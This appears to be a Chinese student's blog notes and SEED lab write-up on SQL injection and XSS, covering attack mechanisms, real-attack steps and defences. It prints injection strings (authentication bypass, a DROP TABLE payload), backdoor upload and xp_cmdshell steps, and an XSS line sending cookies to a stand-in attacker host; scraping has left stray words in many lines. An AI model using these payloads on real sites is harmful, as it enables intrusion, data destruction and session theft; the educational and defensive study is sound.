web應用程序安全攻防---sql注入和xss跨站腳本攻擊


kali視頻學習請看

http://www.cnblogs.com/lidong20179210/p/8909569.htmlphp


博文主要內容包括兩種常見的web攻擊html

  • sql注入
  • XSS跨站腳本攻擊

代碼注入攻擊

  • 代碼注入攻擊mysql

    1. Web應用程序的輸入驗證不完善漏洞
    2. 執行由攻擊者所注入的惡意指令和代碼
    3. 敏感信息泄露、權限提高或對系統的未受權訪問
  • 多樣化的代碼注入攻擊類型web

    1. SQL注入攻擊:惡意讀取、修改與操縱數據庫;
    2. PHP注入或ASP注入攻擊:植入和運行Webshell
    3. Shell注入攻擊:惡意執行操做系統命令的;
    4. 其餘多樣化注入攻擊: LDAP注入、郵件命令注入、 SSI

SQL注入攻擊 (SQL Injection)

  • SQL注入攻擊對Web應用程序的威脅,至關大部分Web應用程序使用後臺數據庫,動態產生內容sql

  • SQL注入攻擊:利用Web應用程序數據層存在的輸入驗證不完善型安全漏洞實施的一類代碼注入攻擊技術。shell

  • SQL注入漏洞機制數據庫

    1. 用戶輸入沒有被正確地過濾:轉義字符(引號、反引號、雙下劃線、分號、 百分號)
    2. 沒有進行嚴格類型檢查:未判斷輸入是否預約類型

SQL注入攻擊案例解析

inputusername = request.form("username")
inputpasswd = request.form("passwd")
set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;"
set rso = server.CreateObject("ADODB.RecordSet")
sql = "SELECT * FROM accounts WHERE username ='" & inputusername
& "' AND passwd = '" & inputpasswd & "'"
rso.Open sql, cn
if rso.eof then
response.write("login error: username or passwd incorrect")
else
response.write("login success")
end if
正常狀況
  • 用戶名: guojing;口令: 123456
  • 正常SQL: SELECT * from FROM accounts WHERE
    username ='guojing' AND passwd = '123456'
攻擊方法一
  • 用戶名/口令:
huangrong' OR '1'='1
  • 注入SQL結果:
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1'
AND passwd = 'huangrong' OR '1'='1'
  • 等價於: SELECT * from FROM accountsapache

  • 後果:繞過了login.asp用戶身份認證的正常邏輯,得到訪問ubuntu

攻擊方法二
  • 口令框輸入:
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
  • 注入SQL結果:
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts;
SELECT * FROM admin WHERE 't' = 't'

實際SQL注入攻擊步驟

1. 發現SQL注入點

注入點存在於形如http://SITE/xxx.asp?some_rec=yyy的動態網頁瀏覽器

  • 手工審查
  • Google Hacking

注入點驗證

  • 整數型參數:
    • 「yyy'」 (加單引號) : SQL錯誤
    • 「yyy and 1=1」 :正常頁面
    • 「yyy and 1=2」 :空白頁面
  • 字符串參數
    • 「yyy'」 (加單引號) : SQL錯誤
    • 「yyy' and '1'='1」 : 正常頁面
    • 「yyy' and '1'='2」 : 空白頁面
2. 判斷後臺數據庫類型
  • Web應用程序流行的後臺數據庫
    • ASP: MS SQL Server/ACCESS
    • PHP: MySQL
  • 利用數據庫服務器的系統變量進行判斷
  • 利用數據庫服務器的系統表進行判斷
    • ACCESS: msysobjects
    • MS SQL Server: sysobjects
    • MySQL: mysql
    • http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
3. 利用SQL注入進行後臺口令拆解
4. 上傳ASP後門,獲得默認帳戶權限
  • 後臺管理界面

    • 利用提供的上傳/下載文件等功能上傳ASP後門
  • Web服務器軟件的默認帳戶權限
    • 本地受限帳戶命令執行
    • Web虛擬目錄中文件上傳/下載
  • 利用MS SQL Server的BCP命令
    • bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
5. 本地特權提高與利用數據庫擴展存儲過程
  • 進一步本地權限提高
    • 利用系統或某些特權應用服務(如Serv-U)安全漏洞
    • 利用系統配置不當提高系統權限
  • MS SQL Server等DBMS支持擴展存儲過程
    • xp_cmdshell, 須要sa賬戶權限
  • 經過SQL注入點執行相應的擴展存儲過程

SQL注入攻擊防範措施

  • 使用類型安全(type-safe)的參數編碼機制
  • 凡是來自外部的用戶輸入,必須進行完備檢查
    • 「限制、拒絕、淨化」
    • URLScan過濾器:丟棄符合給定規則的輸入
    • PHP v5.2.0: filter_input()與filter_var()
  • 將動態SQL語句替換爲存儲過程、預編譯SQL或ADO
    命令對象
  • 增強SQL數據庫服務器的配置與鏈接
    • 避免將敏感性數據(如口令)明文存放於數據庫中
    • 最小權限原則配置Web應用程序鏈接數據庫的查詢操做權限
    • 實現一個不泄漏任何有價值信息的默認出錯處理機制

實踐

SEED Ubuntu鏡像

  • 環境配置

  • 實驗須要三樣東西,
    • Firefox、apache、phpBB2(鏡像中已有):
    • ①運行Apache Server:鏡像已經安裝,只需運行命令%sudo service apache2 start
    • ②phpBB2 web應用:鏡像已經安裝,經過http://www.sqllabmysqlphpbb.com訪問,應用程序源代碼位於/var/www/SQL/SQLLabMysqlPhpbb/
    • ③配置DNS:上述的URL僅僅在鏡像內部能夠訪問,緣由是咱們修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com指向本機IP 127.0.0.1。若是須要在其餘機器訪問,應該修改hosts文件,使URL映射到phpBB2所在機器的IP。
  • 關閉對抗措施PHP提供了自動對抗SQL注入的機制,被稱爲magic quote,咱們須要關閉它。
    • 1.找到/etc/php5/apache2/php.ini
    • 2.找到magic_quotes_gpc = On這一行
    • 3.改成magic_quotes_gpc = Off

- 4.重啓Apache:sudo service apache2 restart

  • Note for Instructors最好擁有一些背景知識
    • 1.使用虛擬機,Firefox的插件LiveHttpHeaders和Tamper Data
    • 2.對SQL語句的一些瞭解
    • 3.如何操做MySQL數據庫
    • 4.對PHP一些瞭解

實驗過程及結果

對SELECT語句的攻擊

這次任務,你須要經過訪問虛擬機內的URL:www.sqllabmysqlphpbb.com。在進入phpBB以前系統會要求你登錄。這個登錄認證由服務器上的login.php實現,須要用戶輸入用戶名和密碼來經過認證。

去網上尋找了答案,答案的是在用戶名輸入ted'#,密碼空着就行,ted是一個已經存在的用戶名,用單引號結束這個字符串,用#轉義掉後面的語句。

對UPDATE語句的攻擊

  • 當用戶想要在phpBB2中修改他們的資料時,能夠點擊Profile,而後填寫表單修改。

用戶發送修改請求後,會執行include/usercp_register.php中的一條UPDATE SQL語句。在這條語句中一樣有一個SQL注入漏洞,請用它來達到如下目標:在不知道其餘人密碼的狀況下修改其資料。

  • 提交後發現SQL語句的結構,根據分析語句結構,分析出注入漏洞在

  • 查看Memberlist表單,發現id號

  • 經過此漏洞便可經過更改id號更改信息,此處咱們修改admin的信息

修改爲功。

跨站腳本攻擊(XSS: Cross-Site Scripting)

什麼是跨站腳本? (Wikipedia)

  • 跨站腳本是一種一般存在於Web應用程序中的安全
    漏洞,使得攻擊者能夠將惡意的代碼注入到網頁中,
    從而危害其餘Web訪問者。
    • 客戶端腳本: Javascript, Flash ActionScript
  • 與代碼注入攻擊的比較
    • 類似的漏洞根源: Web應用程序沒有對非預期輸入作全面有效檢查和淨化.
    • 不一樣的最終攻擊目標
      • 代碼注入: Web站點
      • XSS:訪問Web應用程序的其餘用戶

典型跨站腳本攻擊

- 查看用戶終端會話Cookie
   - <script>alert(document.cookie)</script>
   - 會話ID、甚至登陸口令等敏感信息
- 竊取Cookie
   - 攻擊者控制網站: steal_cookie_example.com
   - <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script>
- 網頁掛馬
  - <iframe src="http://target_link" height=0 width=0></iframe>
  - <script src = "http://target_link"></script>

跨站腳本攻擊類型

  • 持久性XSS: Persistent/stored
    • 漏洞形式: Web應用程序容許用戶輸入內容並持久保存並顯示在網頁上.
    • 攻擊方式: 攻擊者經過利用跨站漏洞構建惡意腳本,對大量用戶構成危害.
    • 典型案例: 留言本/論壇/博客/wiki等。
  • 非持久性XSS: Non-Persistent/reflected
    • 用戶輸入產生XSS反饋給該用戶,需結合社會工程學進行攻擊
    • DOM-based: 本地XSS, 如JS本地生成HTML頁面中存在

XSS跨站腳本攻擊防範措施

  • 服務器端防範措施-「限制、拒絕、淨化」
    • 輸入驗證: 對用戶提交數據進行儘量嚴格的驗證與過濾
    • 輸出淨化: HTMLEncode()方法
    • 消除危險的輸入點
  • 客戶端防範措施
    • 提升瀏覽器訪問非受信網站時的安全等級
    • 關閉Cookie功能,或設置Cookie只讀(IE6SP1 HTTPonly cookie)
    • 安全意識和瀏覽習慣->主流瀏覽器Chrome,Safari, Opera
實例

XSS實驗相對SQL簡單一些,答案也全,上兩個結果截圖。

相關文章
相關標籤/搜索